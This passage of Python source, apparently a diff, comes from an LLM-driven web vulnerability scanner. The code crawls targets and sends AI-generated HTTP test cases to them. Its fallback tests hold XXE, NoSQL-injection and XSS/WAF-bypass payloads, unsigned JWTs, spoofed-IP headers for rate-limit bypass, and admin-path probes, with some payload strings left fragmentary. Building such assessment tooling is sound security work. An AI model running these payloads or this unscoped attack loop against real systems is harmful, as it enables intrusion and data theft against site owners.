description=f"{description}\n\nAI Explanation: {finding_data.get('explanation', '')}", + affected_endpoint=affected_endpoint, + evidence=evidence[:1000], + remediation="\n".join(analysis.get("recommendations", [f"Remediate the {vuln_type} vulnerability"])), + ai_verified=True + ) + await self._add_finding(finding) + await self.log("warning", f" [AI FOUND] {vuln_type} - {finding_data.get('confidence')} confidence") + + await self.log("info", f" Assessment: {analysis.get('overall_assessment', 'Analysis complete')[:100]}") + + except json.JSONDecodeError as e: + await self.log("warning", f" JSON parse error: {e}") + await self._ai_test_fallback(user_prompt) + except Exception as e: + await self.log("error", f" AI dynamic test error: {e}") + await self._ai_test_fallback(user_prompt) + + async def _execute_ai_dynamic_test(self, test_case: Dict) -> Optional[Dict]: + """Execute a single AI-generated test case""" + if not self.session: + return None + + try: + url = test_case.get("url", self.target) + method = test_case.get("method", "GET").upper() + headers = test_case.get("headers", {}) + body = test_case.get("body", "") + content_type = test_case.get("content_type", "") + + if content_type and "Content-Type" not in headers: + headers["Content-Type"] = content_type + + start_time = asyncio.get_event_loop().time() + + if method == "GET": + async with self.session.get(url, headers=headers, allow_redirects=False) as resp: + response_body = await resp.text() + response_time = asyncio.get_event_loop().time() - start_time + return { + "url": url, + "method": method, + "status": resp.status, + "headers": dict(list(resp.headers.items())[:20]), + "body_preview": response_body[:2000], + "body_length": len(response_body), + "response_time": round(response_time, 3) + } + elif method == "POST": + if content_type == "application/json" and isinstance(body, str): + try: + body = json.loads(body) + except: + pass + async with self.session.post(url, headers=headers, data=body if isinstance(body, str) else None, json=body if isinstance(body, dict) else None, allow_redirects=False) as resp: + response_body = await resp.text() + response_time = asyncio.get_event_loop().time() - start_time + return { + "url": url, + "method": method, + "status": resp.status, + "headers": dict(list(resp.headers.items())[:20]), + "body_preview": response_body[:2000], + "body_length": len(response_body), + "response_time": round(response_time, 3) + } + elif method in ["PUT", "DELETE", "PATCH"]: + request_method = getattr(self.session, method.lower()) + async with request_method(url, headers=headers, data=body, allow_redirects=False) as resp: + response_body = await resp.text() + response_time = asyncio.get_event_loop().time() - start_time + return { + "url": url, + "method": method, + "status": resp.status, + "headers": dict(list(resp.headers.items())[:20]), + "body_preview": response_body[:2000], + "body_length": len(response_body), + "response_time": round(response_time, 3) + } + except Exception as e: + return { + "url": url, + "method": method, + "error": str(e), + "status": 0 + } + return None + + async def _ai_test_fallback(self, user_prompt: str): + """Fallback testing when LLM is not available - uses keyword detection""" + await self.log("info", f" Running fallback tests for: {user_prompt}") + prompt_lower = user_prompt.lower() + + # Define fallback test mappings + fallback_tests = { + "xxe": self._test_xxe_fallback, + "xml": self._test_xxe_fallback, + "race": self._test_race_condition_fallback, + "rate": self._test_rate_limit_fallback, + "bola": self._test_idor_fallback, + "idor": self._test_idor_fallback, + "bfla": self._test_bfla_fallback, + "jwt": self._test_jwt_fallback, + "graphql": self._test_graphql_fallback, + "nosql": self._test_nosql_fallback, + "waf": self._test_waf_bypass_fallback, + "csp": self._test_csp_bypass_fallback, + } + + tests_run = False + for keyword, test_func in fallback_tests.items(): + if keyword in prompt_lower: + await test_func() + tests_run = True + + if not tests_run: + await self.log("warning", " No fallback test matched. LLM required for this test type.") + + async def _test_xxe_fallback(self): + """Test for XXE without LLM""" + await self.log("info", " Testing XXE (XML External Entity)...") + + xxe_payloads = [ + ']>&xxe;', + ']>&xxe;', + '%xxe;]>', + ] + + for endpoint in [self.target] + [_get_endpoint_url(ep) for ep in self.recon.endpoints[:5]]: + if not endpoint: + continue + for payload in xxe_payloads: + try: + headers = {"Content-Type": "application/xml"} + async with self.session.post(endpoint, data=payload, headers=headers) as resp: + body = await resp.text() + if "root:" in body or "daemon:" in body or "ENTITY" in body.lower(): + finding = Finding( + id=hashlib.md5(f"xxe{endpoint}".encode()).hexdigest()[:8], + title="XXE (XML External Entity) Injection", + severity="critical", + vulnerability_type="xxe", + cvss_score=9.1, + cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + cwe_id="CWE-611", + description="XML External Entity injection allows reading local files and potentially SSRF.", + affected_endpoint=endpoint, + payload=payload[:200], + evidence=body[:500], + remediation="Disable external entity processing in XML parsers. Use JSON instead of XML where possible.", + ai_verified=False + ) + await self._add_finding(finding) + await self.log("warning", f" [FOUND] XXE at {endpoint[:50]}") + return + except: + pass + + async def _test_race_condition_fallback(self): + """Test for race conditions without LLM""" + await self.log("info", " Testing Race Conditions...") + + # Find form endpoints that might be vulnerable + target_endpoints = [] + for form in self.recon.forms[:3]: + if isinstance(form, dict): + action = form.get("action", "") + if action: + target_endpoints.append(action) + + if not target_endpoints: + target_endpoints = [_get_endpoint_url(ep) for ep in self.recon.endpoints[:3] if _get_endpoint_url(ep)] + + for endpoint in target_endpoints: + try: + # Send multiple concurrent requests + tasks = [] + for _ in range(10): + tasks.append(self.session.get(endpoint)) + + responses = await asyncio.gather(*[task.__aenter__() for task in tasks], return_exceptions=True) + + # Check for inconsistent responses (potential race condition indicator) + statuses = [r.status for r in responses if hasattr(r, 'status')] + if len(set(statuses)) > 1: + await self.log("info", f" Inconsistent responses detected at {endpoint[:50]} - potential race condition") + + except: + pass + + async def _test_rate_limit_fallback(self): + """Test for rate limiting bypass without LLM""" + await self.log("info", " Testing Rate Limiting...") + + headers_to_try = [ + {"X-Forwarded-For": "127.0.0.1"}, + {"X-Real-IP": "127.0.0.1"}, + {"X-Originating-IP": "127.0.0.1"}, + {"X-Client-IP": "127.0.0.1"}, + {"True-Client-IP": "127.0.0.1"}, + ] + + for endpoint in [self.target]: + for headers in headers_to_try: + try: + # Send many requests + for i in range(20): + headers["X-Forwarded-For"] = f"192.168.1.{i}" + async with self.session.get(endpoint, headers=headers) as resp: + if resp.status == 429: + await self.log("info", f" Rate limit hit at request {i}") + break + if i == 19: + await self.log("warning", f" [POTENTIAL] No rate limiting detected with header bypass") + except: + pass + + async def _test_idor_fallback(self): + """Test for IDOR/BOLA without LLM""" + await self.log("info", " Testing IDOR/BOLA...") + + # Find endpoints with numeric parameters + for param, endpoints in self.recon.parameters.items(): + for endpoint in endpoints[:2]: + url = _get_endpoint_url(endpoint) if isinstance(endpoint, dict) else endpoint + if not url: + continue + + # Try changing IDs + for test_id in ["1", "2", "0", "-1", "9999999"]: + try: + parsed = urlparse(url) + test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{param}={test_id}" + async with self.session.get(test_url) as resp: + if resp.status == 200: + body = await resp.text() + if len(body) > 100: + await self.log("debug", f" Got response for {param}={test_id}") + except: + pass + + async def _test_bfla_fallback(self): + """Test for BFLA without LLM""" + await self.log("info", " Testing BFLA (Broken Function Level Authorization)...") + + admin_paths = ["/admin", "/api/admin", "/api/v1/admin", "/manage", "/dashboard", "/internal"] + + for path in admin_paths: + try: + url = urljoin(self.target, path) + async with self.session.get(url) as resp: + if resp.status == 200: + await self.log("warning", f" [POTENTIAL] Admin endpoint accessible: {url}") + elif resp.status in [401, 403]: + await self.log("debug", f" Protected: {url}") + except: + pass + + async def _test_jwt_fallback(self): + """Test for JWT vulnerabilities without LLM""" + await self.log("info", " Testing JWT vulnerabilities...") + + # Try none algorithm and other JWT attacks + jwt_tests = [ + "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.", + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.test", + ] + + for endpoint in [self.target] + [_get_endpoint_url(ep) for ep in self.recon.endpoints[:3]]: + if not endpoint: + continue + for jwt in jwt_tests: + try: + headers = {"Authorization": f"Bearer {jwt}"} + async with self.session.get(endpoint, headers=headers) as resp: + if resp.status == 200: + await self.log("debug", f" JWT accepted at {endpoint[:50]}") + except: + pass + + async def _test_graphql_fallback(self): + """Test for GraphQL vulnerabilities without LLM""" + await self.log("info", " Testing GraphQL...") + + graphql_endpoints = ["/graphql", "/api/graphql", "/v1/graphql", "/query"] + introspection_query = '{"query": "{ __schema { types { name } } }"}' + + for path in graphql_endpoints: + try: + url = urljoin(self.target, path) + headers = {"Content-Type": "application/json"} + async with self.session.post(url, data=introspection_query, headers=headers) as resp: + if resp.status == 200: + body = await resp.text() + if "__schema" in body or "types" in body: + finding = Finding( + id=hashlib.md5(f"graphql{url}".encode()).hexdigest()[:8], + title="GraphQL Introspection Enabled", + severity="low", + vulnerability_type="graphql_introspection", + cvss_score=3.0, + cwe_id="CWE-200", + description="GraphQL introspection is enabled, exposing the entire API schema.", + affected_endpoint=url, + evidence=body[:500], + remediation="Disable introspection in production environments.", + ai_verified=False + ) + await self._add_finding(finding) + await self.log("warning", f" [FOUND] GraphQL introspection at {url}") + except: + pass + + async def _test_nosql_fallback(self): + """Test for NoSQL injection without LLM""" + await self.log("info", " Testing NoSQL injection...") + + nosql_payloads = [ + '{"$gt": ""}', + '{"$ne": null}', + '{"$where": "1==1"}', + "[$gt]=&", + '{"username": {"$gt": ""}, "password": {"$gt": ""}}', + ] + + for param, endpoints in list(self.recon.parameters.items())[:5]: + for endpoint in endpoints[:2]: + url = _get_endpoint_url(endpoint) if isinstance(endpoint, dict) else endpoint + if not url: + continue + for payload in nosql_payloads: + try: + test_url = f"{url.split('?')[0]}?{param}={payload}" + async with self.session.get(test_url) as resp: + body = await resp.text() + if resp.status == 200 and len(body) > 100: + await self.log("debug", f" NoSQL payload accepted: {param}={payload[:30]}") + except: + pass + + async def _test_waf_bypass_fallback(self): + """Test for WAF bypass without LLM""" + await self.log("info", " Testing WAF bypass techniques...") + + bypass_payloads = [ + "", # Original + "ipt>alert(1)", # Nested + "", # Event handler + "</script>", # Double encoding + "%3Cscript%3Ealert(1)%3C/script%3E", # URL encoded + ] + + for endpoint in [self.target]: + for payload in bypass_payloads: + try: + test_url = f"{endpoint}?test={payload}" + async with self.session.get(test_url) as resp: + if resp.status == 403: + await self.log("debug", f" WAF blocked: {payload[:30]}") + elif resp.status == 200: + body = await resp.text() + if payload in body or "alert(1)" in body: + await self.log("warning", f" [POTENTIAL] WAF bypass: {payload[:30]}") + except: + pass + + async def _test_csp_bypass_fallback(self): + """Test for CSP bypass without LLM""" + await self.log("info", " Testing CSP bypass...") + + try: + async with self.session.get(self.target) as resp: + csp = resp.headers.get("Content-Security-Policy", "") + + if not csp: + await self.log("warning", " No CSP header found") + return + + # Check for weak CSP + weaknesses = [] + if "unsafe-inline" in csp: + weaknesses.append("unsafe-inline allows inline scripts") + if "unsafe-eval" in csp: + weaknesses.append("unsafe-eval allows eval()") + if "*" in csp: + weaknesses.append("Wildcard (*) in CSP is too permissive") + if "data:" in csp: + weaknesses.append("data: URI scheme can be abused") + + if weaknesses: + finding = Finding( + id=hashlib.md5(f"csp{self.target}".encode()).hexdigest()[:8], + title="Weak Content Security Policy", + severity="medium", + vulnerability_type="csp_bypass", + cvss_score=4.0, + cwe_id="CWE-693", + description=f"CSP has weaknesses: {'; '.join(weaknesses)}", + affected_endpoint=self.target, + evidence=f"CSP: {csp[:500]}", + remediation="Remove unsafe-inline, unsafe-eval, wildcards, and data: from CSP.", + ai_verified=False + ) + await self._add_finding(finding) + await self.log("warning", f" [FOUND] Weak CSP: {', '.join(weaknesses)}") + except: + pass + + async def _ai_test_vulnerability(self, vuln_type: str): + """Wrapper for backwards compatibility - now uses AI dynamic test""" + await self._ai_dynamic_test(vuln_type) + + async def _execute_ai_test(self, test: Dict, vuln_type: str): + """Execute an AI-generated test""" + if not self.session: + return + + try: + url = test.get("url", self.target) + method = test.get("method", "GET").upper() + headers = test.get("headers", {}) + params = test.get("params", {}) + check = test.get("check", "") + + if method == "GET": + async with self.session.get(url, params=params, headers=headers) as resp: + body = await resp.text() + response_headers = dict(resp.headers) + else: + async with self.session.post(url, data=params, headers=headers) as resp: + body = await resp.text() + response_headers = dict(resp.headers) + + # Use AI to analyze if vulnerability exists + if self.llm.is_available() and check: + analysis_prompt = f"""Analyze this response for {vuln_type} vulnerability. +Check for: {check} + +Response status: {resp.status} +Response headers: {dict(list(response_headers.items())[:10])} +Response body (first 1000 chars): {body[:1000]} + +Is this vulnerable? Respond with: +VULNERABLE: +or +NOT_VULNERABLE: """ + + result = await self.llm.generate(analysis_prompt) + if "VULNERABLE:" in result.upper(): + evidence = result.split(":", 1)[1].strip() if ":" in result else result + finding = Finding( + id=hashlib.md5(f"{vuln_type}{url}ai".encode()).hexdigest()[:8], + title=f"AI-Detected {vuln_type.title()} Vulnerability", + severity="medium", + vulnerability_type=vuln_type, + cvss_score=5.0, + description=f"AI analysis detected potential {vuln_type} vulnerability.", + affected_endpoint=url, + evidence=evidence[:500], + remediation=f"Review and remediate the {vuln_type} vulnerability.", + ai_verified=True + ) + await self._add_finding(finding) + await self.log("warning", f" [AI FOUND] {vuln_type} at {url[:50]}") + + except Exception as e: + await self.log("debug", f" AI test execution error: {e}") + + async def _test_single_param(self, base_url: str, param: str, payload: str, vuln_type: str): + """Test a single parameter with a payload""" + if not self.session: + return + + try: + # Build test URL + parsed = urlparse(base_url) + base = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + test_url = f"{base}?{param}={payload}" + + async with self.session.get(test_url) as resp: + body = await resp.text() + response_data = { + "status": resp.status, + "body": body, + "headers": dict(resp.headers), + "url": str(resp.url), + "method": "GET", + "content_type": resp.headers.get("Content-Type", "") + } + + is_vuln, evidence = await self._verify_vulnerability(vuln_type, payload, response_data) + if is_vuln: + await self.log("warning", f" [POTENTIAL] {vuln_type.upper()} found in {param}") + # Confirm with AI + confirmed = await self._ai_confirm_finding( + vuln_type, test_url, param, payload, body[:500], evidence + ) + if confirmed: + finding = self._create_finding(vuln_type, test_url, param, payload, evidence, response_data) + await self._add_finding(finding) + + except Exception as e: + await self.log("debug", f" Test error: {e}") + + async def log_script(self, level: str, message: str): + """Log a script/tool message""" + await self.log(level, message) + + async def log_llm(self, level: str, message: str): + """Log an LLM/AI message - prefixed with [AI] or [LLM]""" + if not message.startswith('[AI]') and not message.startswith('[LLM]'): + message = f"[AI] {message}" + await self.log(level, message) + + async def _add_finding(self, finding: Finding): + """Add a finding and notify via callback""" + self.findings.append(finding) + await self.log("warning", f" [FOUND] {finding.title} - {finding.severity}") + if self.finding_callback: + try: + await self.finding_callback(asdict(finding)) + except Exception as e: + print(f"Finding callback error: {e}") + + def _normalize_target(self, target: str) -> str: + """Ensure target has proper scheme""" + if not target.startswith(('http://', 'https://')): + return f"https://{target}" + return target + + async def _default_log(self, level: str, message: str): + timestamp = datetime.utcnow().strftime("%H:%M:%S") + print(f"[{timestamp}] [{level.upper()}] {message}") + + async def __aenter__(self): + connector = aiohttp.TCPConnector(ssl=False, limit=30) + timeout = aiohttp.ClientTimeout(total=30, connect=10) + headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + } + headers.update(self.auth_headers) + self.session = aiohttp.ClientSession( + connector=connector, + timeout=timeout, + headers=headers, + cookie_jar=aiohttp.CookieJar(unsafe=True) + ) + return self + + async def __aexit__(self, *args): + if self.session: + await self.session.close() + + async def run(self) -> Dict[str, Any]: + """Main execution method""" + await self.log("info", "=" * 60) + await self.log("info", " NEUROSPLOIT AI SECURITY AGENT") + await self.log("info", "=" * 60) + await self.log("info", f"Target: {self.target}") + await self.log("info", f"Mode: {self.mode.value}") + + if self.llm.is_available(): + await self.log("success", f"LLM Provider: {self.llm.provider.upper()} (Connected)") + else: + await self.log("error", "=" * 60) + await self.log("error", " WARNING: LLM NOT CONFIGURED!") + await self.log("error", "=" * 60) + await self.log("warning", "Set ANTHROPIC_API_KEY in .env file") + await self.log("warning", "Running with basic detection only (no AI enhancement)") + if self.llm.error_message: + await self.log("warning", f"Reason: {self.llm.error_message}") + + await self.log("info", "") + + try: + if self.mode == OperationMode.RECON_ONLY: + return await self._run_recon_only() + elif self.mode == OperationMode.FULL_AUTO: + return await self._run_full_auto() + elif self.mode == OperationMode.PROMPT_ONLY: + return await self._run_prompt_only() + elif self.mode == OperationMode.ANALYZE_ONLY: + return await self._run_analyze_only() + else: + return await self._run_full_auto() + except Exception as e: + await self.log("error", f"Agent error: {str(e)}") + import traceback + traceback.print_exc() + return self._generate_error_report(str(e)) + + async def _update_progress(self, progress: int, phase: str): + if self.progress_callback: + await self.progress_callback(progress, phase) + + # ==================== RECONNAISSANCE ==================== + + async def _run_recon_only(self) -> Dict: + """Comprehensive reconnaissance""" + await self._update_progress(0, "Starting reconnaissance") + + # Phase 1: Initial probe + await self.log("info", "[PHASE 1/4] Initial Probe") + await self._initial_probe() + await self._update_progress(25, "Initial probe complete") + + # Phase 2: Endpoint discovery + await self.log("info", "[PHASE 2/4] Endpoint Discovery") + await self._discover_endpoints() + await self._update_progress(50, "Endpoint discovery complete") + + # Phase 3: Parameter discovery + await self.log("info", "[PHASE 3/4] Parameter Discovery") + await self._discover_parameters() + await self._update_progress(75, "Parameter discovery complete") + + # Phase 4: Technology detection + await self.log("info", "[PHASE 4/4] Technology Detection") + await self._detect_technologies() + await self._update_progress(100, "Reconnaissance complete") + + return self._generate_recon_report() + + async def _initial_probe(self): + """Initial probe of the target""" + try: + async with self.session.get(self.target, allow_redirects=True) as resp: + self.recon.live_hosts.append(self.target) + body = await resp.text() + + # Extract base information + await self._extract_links(body, self.target) + await self._extract_forms(body, self.target) + await self._extract_js_files(body, self.target) + + await self.log("info", f" Target is live: {resp.status}") + except Exception as e: + await self.log("error", f" Target probe failed: {e}") + + async def _discover_endpoints(self): + """Discover endpoints through crawling and common paths""" + # Common paths to check + common_paths = [ + "/", "/admin", "/login", "/api", "/api/v1", "/api/v2", + "/user", "/users", "/account", "/profile", "/dashboard", + "/search", "/upload", "/download", "/file", "/files", + "/config", "/settings", "/admin/login", "/wp-admin", + "/robots.txt", "/sitemap.xml", "/.git/config", + "/api/users", "/api/login", "/graphql", "/api/graphql", + "/swagger", "/api-docs", "/docs", "/health", "/status" + ] + + base = self.target.rstrip('/') + parsed_target = urlparse(self.target) + + # Add known vulnerable endpoints for common test sites + if "vulnweb" in parsed_target.netloc or "testphp" in parsed_target.netloc: + await self.log("info", " Detected test site - adding known vulnerable endpoints") + common_paths.extend([ + "/listproducts.php?cat=1", + "/artists.php?artist=1", + "/search.php?test=1", + "/guestbook.php", + "/comment.php?aid=1", + "/showimage.php?file=1", + "/product.php?pic=1", + "/hpp/?pp=12", + "/AJAX/index.php", + "/secured/newuser.php", + ]) + elif "juice-shop" in parsed_target.netloc or "juiceshop" in parsed_target.netloc: + common_paths.extend([ + "/rest/products/search?q=test", + "/api/Users", + "/api/Products", + "/rest/user/login", + ]) + elif "dvwa" in parsed_target.netloc: + common_paths.extend([ + "/vulnerabilities/sqli/?id=1&Submit=Submit", + "/vulnerabilities/xss_r/?name=test", + "/vulnerabilities/fi/?page=include.php", + ]) + + tasks = [] + for path in common_paths: + tasks.append(self._check_endpoint(f"{base}{path}")) + + await asyncio.gather(*tasks, return_exceptions=True) + + # Crawl discovered pages for more endpoints + for endpoint in list(self.recon.endpoints)[:10]: + await self._crawl_page(_get_endpoint_url(endpoint)) + + await self.log("info", f" Found {len(self.recon.endpoints)} endpoints") + + async def _check_endpoint(self, url: str): + """Check if endpoint exists""" + try: + async with self.session.get(url, allow_redirects=False) as resp: + if resp.status not in [404, 403, 500, 502, 503]: + endpoint_data = { + "url": url, + "method": "GET", + "status": resp.status, + "content_type": resp.headers.get("Content-Type", ""), + "path": urlparse(url).path + } + if endpoint_data not in self.recon.endpoints: + self.recon.endpoints.append(endpoint_data) + except: + pass + + async def _crawl_page(self, url: str): + """Crawl a page for more links""" + if not url: + return + try: + async with self.session.get(url) as resp: + body = await resp.text() + await self._extract_links(body, url) + except: + pass + + async def _extract_links(self, body: str, base_url: str): + """Extract links from HTML""" + # Find href links + hrefs = re.findall(r'href=["\']([^"\']+)["\']', body, re.I) + # Find src links + srcs = re.findall(r'src=["\']([^"\']+)["\']', body, re.I) + # Find action links + actions = re.findall(r'action=["\']([^"\']+)["\']', body, re.I) + + base_parsed = urlparse(base_url) + base_domain = f"{base_parsed.scheme}://{base_parsed.netloc}" + + for link in hrefs + actions: + if link.startswith('/'): + full_url = base_domain + link + elif link.startswith('http') and base_parsed.netloc in link: + full_url = link + else: + continue + + # Skip external links and assets + if any(ext in link.lower() for ext in ['.css', '.png', '.jpg', '.gif', '.ico', '.svg']): + continue + + endpoint_data = { + "url": full_url, + "method": "GET", + "path": urlparse(full_url).path + } + if endpoint_data not in self.recon.endpoints and len(self.recon.endpoints) < 100: + self.recon.endpoints.append(endpoint_data) + + async def _extract_forms(self, body: str, base_url: str): + """Extract forms from HTML""" + form_pattern = r']*>(.*?)' + forms = re.findall(form_pattern, body, re.I | re.DOTALL) + + base_parsed = urlparse(base_url) + + for form_html in forms: + # Extract action + action_match = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I) + action = action_match.group(1) if action_match else base_url + + if action.startswith('/'): + action = f"{base_parsed.scheme}://{base_parsed.netloc}{action}" + elif not action.startswith('http'): + action = base_url + + # Extract method + method_match = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I) + method = (method_match.group(1) if method_match else "GET").upper() + + # Extract inputs + inputs = re.findall(r']*name=["\']([^"\']+)["\'][^>]*>', form_html, re.I) + textareas = re.findall(r']*name=["\']([^"\']+)["\']', form_html, re.I) + + form_data = { + "action": action, + "method": method, + "inputs": inputs + textareas + } + self.recon.forms.append(form_data) + + async def _extract_js_files(self, body: str, base_url: str): + """Extract JavaScript files""" + js_files = re.findall(r'src=["\']([^"\']*\.js)["\']', body, re.I) + base_parsed = urlparse(base_url) + + for js in js_files[:10]: + if js.startswith('/'): + full_url = f"{base_parsed.scheme}://{base_parsed.netloc}{js}" + elif js.startswith('http'): + full_url = js + else: + continue + + if full_url not in self.recon.js_files: + self.recon.js_files.append(full_url) + # Try to extract API endpoints from JS + await self._extract_api_from_js(full_url) + + async def _extract_api_from_js(self, js_url: str): + """Extract API endpoints from JavaScript files""" + try: + async with self.session.get(js_url) as resp: + content = await resp.text() + + # Find API patterns + api_patterns = [ + r'["\']/(api/[^"\']+)["\']', + r'["\']/(v[0-9]/[^"\']+)["\']', + r'fetch\s*\(\s*["\']([^"\']+)["\']', + r'axios\.[a-z]+\s*\(\s*["\']([^"\']+)["\']', + ] + + for pattern in api_patterns: + matches = re.findall(pattern, content) + for match in matches[:5]: + if match.startswith('/'): + base = urlparse(self.target) + full_url = f"{base.scheme}://{base.netloc}{match}" + else: + full_url = match + if full_url not in self.recon.api_endpoints: + self.recon.api_endpoints.append(full_url) + except: + pass + + async def _discover_parameters(self): + """Discover parameters in endpoints""" + for endpoint in self.recon.endpoints[:20]: + url = _get_endpoint_url(endpoint) + parsed = urlparse(url) + + # Extract query parameters + if parsed.query: + params = parse_qs(parsed.query) + self.recon.parameters[url] = list(params.keys()) + + # Also get parameters from forms + for form in self.recon.forms: + self.recon.parameters[form['action']] = form.get('inputs', []) + + total_params = sum(len(v) for v in self.recon.parameters.values()) + await self.log("info", f" Found {total_params} parameters in {len(self.recon.parameters)} endpoints") + + async def _detect_technologies(self): + """Detect technologies used""" + try: + async with self.session.get(self.target) as resp: + headers = dict(resp.headers) + body = await resp.text() + + # Server header + if "Server" in headers: + self.recon.technologies.append(f"Server: {headers['Server']}") + + # X-Powered-By + if "X-Powered-By" in headers: + self.recon.technologies.append(headers["X-Powered-By"]) + + # Technology signatures + signatures = { + "WordPress": ["wp-content", "wp-includes", "wordpress"], + "Laravel": ["laravel", "XSRF-TOKEN", "laravel_session"], + "Django": ["csrfmiddlewaretoken", "__admin__", "django"], + "Express.js": ["express", "X-Powered-By: Express"], + "ASP.NET": ["__VIEWSTATE", "asp.net", ".aspx"], + "PHP": [".php", "PHPSESSID"], + "React": ["react", "_reactRoot", "__REACT"], + "Angular": ["ng-app", "ng-", "angular"], + "Vue.js": ["vue", "__VUE", "v-if", "v-for"], + "jQuery": ["jquery", "$.ajax"], + "Bootstrap": ["bootstrap", "btn-primary"], + } + + body_lower = body.lower() + headers_str = str(headers).lower() + + for tech, patterns in signatures.items(): + if any(p.lower() in body_lower or p.lower() in headers_str for p in patterns): + if tech not in self.recon.technologies: + self.recon.technologies.append(tech) + + except Exception as e: + await self.log("debug", f"Tech detection error: {e}") + + await self.log("info", f" Detected: {', '.join(self.recon.technologies[:5]) or 'Unknown'}") + + # ==================== VULNERABILITY TESTING ==================== + + async def _run_full_auto(self) -> Dict: + """Full automated assessment""" + await self._update_progress(0, "Starting full assessment") + + # Phase 1: Reconnaissance + await self.log("info", "[PHASE 1/5] Reconnaissance") + await self._run_recon_only() + await self._update_progress(20, "Reconnaissance complete") + + # Phase 2: AI Attack Surface Analysis + await self.log("info", "[PHASE 2/5] AI Attack Surface Analysis") + attack_plan = await self._ai_analyze_attack_surface() + await self._update_progress(30, "Attack surface analyzed") + + # Phase 3: Vulnerability Testing + await self.log("info", "[PHASE 3/5] Vulnerability Testing") + await self._test_all_vulnerabilities(attack_plan) + await self._update_progress(70, "Vulnerability testing complete") + + # Phase 4: AI Finding Enhancement + await self.log("info", "[PHASE 4/5] AI Finding Enhancement") + await self._ai_enhance_findings() + await self._update_progress(90, "Findings enhanced") + + # Phase 5: Report Generation + await self.log("info", "[PHASE 5/5] Report Generation") + report = await self._generate_full_report() + await self._update_progress(100, "Assessment complete") + + return report + + async def _ai_analyze_attack_surface(self) -> Dict: + """Use AI to analyze attack surface""" + if not self.llm.is_available(): + return self._default_attack_plan() + + # Build detailed context for AI analysis + endpoint_details = [] + for ep in self.recon.endpoints[:15]: + url = _get_endpoint_url(ep) + method = _get_endpoint_method(ep) + parsed = urlparse(url) + params = list(parse_qs(parsed.query).keys()) if parsed.query else [] + endpoint_details.append(f" - [{method}] {parsed.path or '/'}" + (f" params: {params}" if params else "")) + + form_details = [] + for form in self.recon.forms[:10]: + if isinstance(form, str): + form_details.append(f" - {form}") + continue + action = form.get('action', 'unknown') if isinstance(form, dict) else str(form) + method = form.get('method', 'GET').upper() if isinstance(form, dict) else 'GET' + inputs = form.get('inputs', []) if isinstance(form, dict) else [] + fields = [] + for f in inputs[:5]: + if isinstance(f, str): + fields.append(f) + elif isinstance(f, dict): + fields.append(f.get('name', 'unnamed')) + form_details.append(f" - [{method}] {action} fields: {fields}") + + context = f"""**Target Analysis Request** + +Target: {self.target} +Scope: Web Application Security Assessment +User Instructions: {self.custom_prompt or 'Comprehensive security assessment'} + +**Reconnaissance Summary:** + +Technologies Detected: {', '.join(self.recon.technologies) if self.recon.technologies else 'Not yet identified'} + +Endpoints Discovered ({len(self.recon.endpoints)} total): +{chr(10).join(endpoint_details) if endpoint_details else ' None yet'} + +Forms Found ({len(self.recon.forms)} total): +{chr(10).join(form_details) if form_details else ' None yet'} + +Parameters Identified: {list(self.recon.parameters.keys())[:15] if self.recon.parameters else 'None yet'} + +API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'None identified'}""" + + prompt = f"""Analyze this attack surface and create a prioritized, focused testing plan. + +{context} + +**Analysis Requirements:** + +1. **Technology-Based Prioritization:** + - If PHP detected → prioritize LFI, RCE, Type Juggling + - If ASP.NET/Java → prioritize Deserialization, XXE + - If Node.js → prioritize Prototype Pollution, SSRF + - If API/REST → prioritize IDOR, Mass Assignment, JWT issues + +2. **High-Risk Endpoint Identification:** + - Login/authentication endpoints + - File upload/download functionality + - Admin/management interfaces + - API endpoints with user input + - Search/query parameters + +3. **Parameter Risk Assessment:** + - Parameters named: id, user, file, path, url, redirect, callback + - Hidden form fields + - Parameters accepting complex input + +4. **Attack Vector Suggestions:** + - Specific payloads based on detected technologies + - Chained attack scenarios + - Business logic flaws to test + +**Respond in JSON format:** +{{ + "priority_vulns": ["sqli", "xss", "idor", "lfi"], + "high_risk_endpoints": ["/api/users", "/admin/upload"], + "focus_parameters": ["id", "file", "redirect"], + "attack_vectors": [ + "Test user ID parameter for IDOR", + "Check file upload for unrestricted types", + "Test search parameter for SQL injection" + ], + "technology_specific_tests": ["PHP: test include parameters", "Check for Laravel debug mode"] +}}""" + + try: + response = await self.llm.generate(prompt, + "You are an experienced penetration tester planning an assessment. Prioritize based on real-world attack patterns and the specific technologies detected. Be specific and actionable.") + match = re.search(r'\{.*\}', response, re.DOTALL) + if match: + return json.loads(match.group()) + except Exception as e: + await self.log("debug", f"AI analysis error: {e}") + + return self._default_attack_plan() + + def _default_attack_plan(self) -> Dict: + """Default attack plan""" + return { + "priority_vulns": ["sqli", "xss", "lfi", "ssti", "ssrf"], + "high_risk_endpoints": [_get_endpoint_url(e) for e in self.recon.endpoints[:10]], + "focus_parameters": [], + "attack_vectors": [] + } + + async def _test_all_vulnerabilities(self, plan: Dict): + """Test for all vulnerability types""" + vuln_types = plan.get("priority_vulns", ["sqli", "xss", "lfi", "ssti"]) + await self.log("info", f" Testing for: {', '.join(vuln_types)}") + + # Get testable endpoints + test_targets = [] + + # Add endpoints with parameters (extract params from URL if present) + for endpoint in self.recon.endpoints[:20]: + url = _get_endpoint_url(endpoint) + parsed = urlparse(url) + base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + + if parsed.query: + # URL has parameters - extract them + params = list(parse_qs(parsed.query).keys()) + test_targets.append({ + "url": base_url, + "method": "GET", + "params": params, + "original_url": url + }) + await self.log("debug", f" Found endpoint with params: {url[:60]}... params={params}") + elif url in self.recon.parameters: + 